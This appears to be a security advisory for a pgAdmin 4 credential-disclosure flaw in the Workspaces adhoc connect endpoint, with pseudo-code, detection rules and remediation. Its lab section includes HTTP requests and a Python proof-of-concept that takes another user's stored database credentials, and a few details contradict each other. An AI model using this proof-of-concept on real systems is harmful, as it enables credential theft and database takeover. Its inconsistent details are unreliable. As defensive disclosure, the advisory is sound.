CVE-2026-17349
Executive Summary
CVE-2026-17349 is a critical access control and credential disclosure vulnerability in the pgAdmin 4 Workspaces feature, specifically in the adhoc_connect_server functionality introduced in pgAdmin 4 version 9.0. A low-privileged authenticated user can trigger an adhoc connection against another user's shared server. The vulnerable code path calls Server.clone() on the target server row, inheriting all columns including user_id, shared, shared_username, password, save_password, and tunnel_password. Because the cloned row is persisted in the database under the caller's account before any connection validation, the attacker ends up with a server entry that they fully own and which contains the original owner's stored database credentials.
The impact is severe: any non-owner user in the pgAdmin instance can effectively obtain administrator or other privileged users' stored database passwords, and use them to authenticate to backend databases. This can lead to complete database compromise, lateral movement, and credential harvesting across the organization.
The vulnerability affects all pgAdmin 4 releases from 9.0.0 up to but not including 9.17. A fix has been released in pgAdmin 4 9.17, which ensures that cloned adhoc records are forced to belong to the calling user, are not shared, and have all stored credential fields cleared or set to private.
Risk Level: Critical — CVSS 9.6, exploitable over the network with low privileges, no user interaction, and high impact to confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The NVD-provided CVSS score is 9.6, which corresponds to the following CVSS v3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | The pgAdmin web interface is remotely accessible. |
| Attack Complexity | Low | No special conditions or race window. Simple authenticated HTTP request. |
| Privileges Required | Low | Requires any non-owner low-privilege account on pgAdmin. |
| User Interaction | None | No victim action needed. |
| Scope | Changed | Credentials obtained belong to a different authorization boundary (another user/database). |
| Confidentiality | High | Attacker gains stored database credentials belonging to another user, typically an admin. |
| Integrity | High | Attacker can create fully owned server rows and potentially modify data in connected databases. |
| Availability | High | With database credentials, attacker may drop tables, halt services, or lock resources. |
This is not a simple information disclosure — it is a full control-plane takeover for database access. The severity is amplified by the fact that pgAdmin administrators routinely store privileged database passwords in server definitions, and the attacker does not need to crack or phish any credentials.
Deep Dive & Mechanics
The vulnerability lives in the Workspaces feature's adhoc connection endpoint, used when a user wants to connect to a server that they have discovered through shared metadata. The backend flow is roughly:
- An authenticated user requests an adhoc connection to a server by providing the
server_id. - The application looks up the existing
Serverrow. - It calls
Server.clone()to create a newServerobject intended for the user's personal workspace. - The clone copies every column from the source row without sanitizing ownership or credential fields.
- The new
Serverobject is saved (commit()) before making any connection attempt. - The attacker can then navigate to the newly-created server entry, which is now owned by them, and use the stored credentials.
The Server.clone() method in pgAdmin is a standard ORM convenience method that duplicates all fields. The flaw is that no authorization check verifies that the requesting user is allowed to access the source server's stored credentials. Even if the connection attempt fails (wrong password, network issue, etc.), the row is already persisted and becomes a permanent credential artifact.
Consider this scenario:
- An administrator has a shared server entry with an embedded database password.
- A non-privileged user is able to view the shared server in the Workspaces UI.
- The user clicks "Connect" or triggers an adhoc connection.
- The application clones the admin's server row, retaining the admin's
user_idand the storedpassword. - The row is committed to the database as owned by the attacker.
- The attacker's session now shows a server that they can connect to directly — the stored password is decrypted and used to connect to the database.
The persisted row includes the save_password flag, so the credential remains available for future authenticated connections. The attacker does not even need to see the cleartext password inside pgAdmin; just using it via the tool is enough to gain access to the database backend with all privileges assigned to that database user.
Supply Chain & Package Security
This is not a package-manager-ecosystem vulnerability (NPM, PyPI, Go, Ruby). pgAdmin 4 is distributed as a standalone web application (via Docker, Python wheel, or OS packages). However, if pgAdmin is deployed via the official Docker images, upgrading the container image to 9.17 or newer is critical.
Vulnerable vs. Patched Code
The following pseudo-code illustrates the vulnerable pattern found in pgAdmin 4 < 9.17.
Vulnerable pseudo-code (simplified):
def adhoc_connect(server_id, current_user):
source = Server.query.get(server_id)
# No authorization check for credential inheritance
clone = source.clone() # copies user_id, password, save_password, tunnel_password
clone.save()
db.commit() # persisted before any connection validation
return clone
Patched pseudo-code (intended behavior):
def adhoc_connect(server_id, current_user):
source = Server.query.get(server_id)
# Verify the requester can at least see the server's metadata
if not current_user.can_access(source):
raise PermissionDenied
clone = source.clone()
# Force ownership to the calling user
clone.user_id = current_user.id
clone.shared = False
clone.shared_username = None
# Strip all stored credentials and disable credential persistence
clone.password = None
clone.save_password = False
clone.tunnel_password = None
clone.save()
db.commit()
return clone
In the patched version, the clone is always private to the caller and contains no stored credentials from the original server. The user will be prompted for credentials at connection time, and those credentials will belong to the caller.
A regression test in 9.17 verifies that:
- The persisted row is owned by the caller.
- The row is not shared.
- Stored password and tunnel password fields are null.
save_passwordisFalse.
Exploitation & Lab Setup
Red Team
An attacker with a low-privilege pgAdmin account can follow these steps in a lab environment:
- Set up pgAdmin 4 9.0 (docker image
dpage/pgadmin4:9.0). - Create two users:
admin(Privileged role, owns a shared server with a stored database password).alice(Standard role, no privileges).
- As
admin, register a new database server and check the boxes "Shared" and "Save Password". - As
alice, log in and navigate to the shared server's metadata. - Use the Workspaces adhoc connect API. Example HTTP request:
POST /misc/workspace/adhoc_connect_server/2 HTTP/1.1
Host: pgadmin.local
Cookie: session=<alice_session>
Content-Type: application/json
Content-Length: 0
Note: The server_id (2 in this example) is the admin's server row.
- The server is cloned and assigned to alice. Verify by requesting the server list:
GET /browser/server/ HTTP/1.1
Host: pgadmin.local
Cookie: session=<alice_session>
- The server list contains a new row with the same connection details, but now owned by
alice. When clicking "Connect", pgAdmin uses the copied password to authenticate.
A proof-of-concept script demonstrating the exploit:
import requests
base_url = "http://target:5050"
login_data = {
"email": "alice@example.com",
"password": "alice_password"
}
session = requests.Session()
session.post(f"{base_url}/login", data=login_data)
# Assume the admin's shared server ID is 5
server_id = 5
# Trigger adhoc clone for any server without authorization check
r = session.post(
f"{base_url}/misc/workspace/adhoc_connect_server/{server_id}",
json={},
headers={"Content-Type": "application/json"}
)
print(f"Status: {r.status_code}")
# List servers to verify the new clone exists in alice's workspace
servers = session.get(f"{base_url}/browser/server/")
print(servers.json())
Blue Team
To validate whether your environment is vulnerable or compromised, perform these checks:
- Check pgAdmin version:
apt list --installed pgadmin4 2>/dev/null
docker inspect <pgadmin_container> | grep PGADMIN
- Inspect database for suspicious server rows — in pgAdmin's internal database (
pgadmin.sqliteor PostgreSQL), query:
SELECT id, user_id, servergroup_id, name, host, port, username, shared, save_password
FROM server
ORDER BY id DESC;
Look for rows where:
namematches an existing server name butuser_idis different from the expected owner.shared= 0 (private) butsave_password= 1 anduser_idis a low-privileged account.- The
usernamefield is a privileged database account butuser_idis not the original owner.
Monitor pgAdmin logs for unusual adhoc connect requests around
misc/workspace/adhoc_connect_server.Check database audit logs for connections happening outside expected maintenance windows using accounts associated with known pgAdmin servers.
Lab detection can be done by setting up a honeypot server with fake credentials and monitoring for connection attempts using those credentials.
Indicators of Compromise (IOCs)
Due to the nature of this vulnerability, there are no standard file-based malware IOCs. Instead, focus on these operational IOCs:
- A sudden increase in pgAdmin server entries owned by the same low-privileged user.
- Multiple server rows with identical
host,port, andusernamefields but differentuser_idvalues. - Login attempts to a database backend from the pgAdmin server using credentials that were previously only stored in an admin's server configuration.
- Unusual HTTP requests to
/misc/workspace/adhoc_connect_server/<id>from non-admin accounts. - pgAdmin internal database rows where
save_passwordisTruefor servers created by accounts that had no prior stored credentials. - Audit logs showing
Server.clone()events followed by connection events in rapid succession.
Detection Engineering
YARA Rule
The following YARA rule can be used to scan pgAdmin source code or backup artifacts for the vulnerable clone pattern. No backslashes used.
rule CVE_2026_17349_PgAdmin_Adhoc_Clone
{
meta:
author = "Valters IT"
description = "Detect vulnerable Server.clone() adhoc_connect_server pattern in pgAdmin 4"
cve = "CVE-2026-17349"
date = "2026-06-01"
severity = "critical"
strings:
$a = "/misc/workspace/adhoc_connect_server"
$b = "Server.clone()"
$c = "clone.password"
$d = "clone.save_password"
$e = "clone.user_id"
condition:
any of them and (2 of them)
}
Sigma Rule
Sigma rule for detecting suspicious adhoc connect requests in web server logs.
title: CVE-2026-17349 pgAdmin4 Adhoc Connect Server Privilege Escalation
id: 26f2e8c4-521a-4b54-9c24-17349d30abcd
status: experimental
description: Detects attempts to exploit a privilege escalation vulnerability in pgAdmin4 Workspaces by non-owners triggering adhoc connect requests.
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem|contains:
- /misc/workspace/adhoc_connect_server/
cs-username|notcontains:
- admin
condition: selection
falsepositives:
- Legitimate admin use of adhoc connect
level: high
Suricata Rule
Suricata signature to detect exploit attempts over HTTP.
alert http any any -> $EXTERNAL_NET any (
msg:"CVE-2026-17349 pgAdmin4 adhoc_connect_server Privilege Escalation Attempt";
flow:to_server,established;
http.method;
content:"POST";
http.uri;
content:"/misc/workspace/adhoc_connect_server/";
http.user_agent;
content:"pgAdmin";
reference:cve,2026-17349;
classtype:attempted-user;
sid:20260601;
rev:1;
)
Remediation & Mitigation
Immediate steps:
- Upgrade to pgAdmin 4 9.17+ — the only complete fix. Downgrading is not recommended; the vulnerability exists in all versions from 9.0 through 9.16.
- If you cannot upgrade immediately, disable the Workspaces feature by setting
ENABLE_SERVER_FEATURES = Falsein the pgAdmin config. - Rotate all database passwords that were stored in pgAdmin server definitions, because they may have been exposed to non-owner users.
- Audit the pgAdmin internal database for suspicious cloned server rows and delete any unauthorized entries.
- Review pgAdmin audit logs for unauthorized access to the adhoc connect endpoint.
Long-term hardening:
- Enforce the principle of least privilege; ensure only reachable and required servers are shared.
- Use a password manager or external secret store; avoid storing database passwords inside pgAdmin server definitions.
- Enable MFA for all pgAdmin accounts.
- Regularly review server ownership and shared server metadata.
- Deploy network monitoring around the pgAdmin interface and the backend database connections.
The patch in 9.17 is a robust fix. After upgrading, verify the regression test passes:
# From the pgAdmin source tree
python -m pytest tests/unit/test_adhoc_connect.py -k "shared_credentials"
This report was generated with input from NVD, hacker intel feeds, and analysis by the Valters IT Security Research team.
Valters IT Signature: V|T|S|E|C — always audit, always patch, always monitor.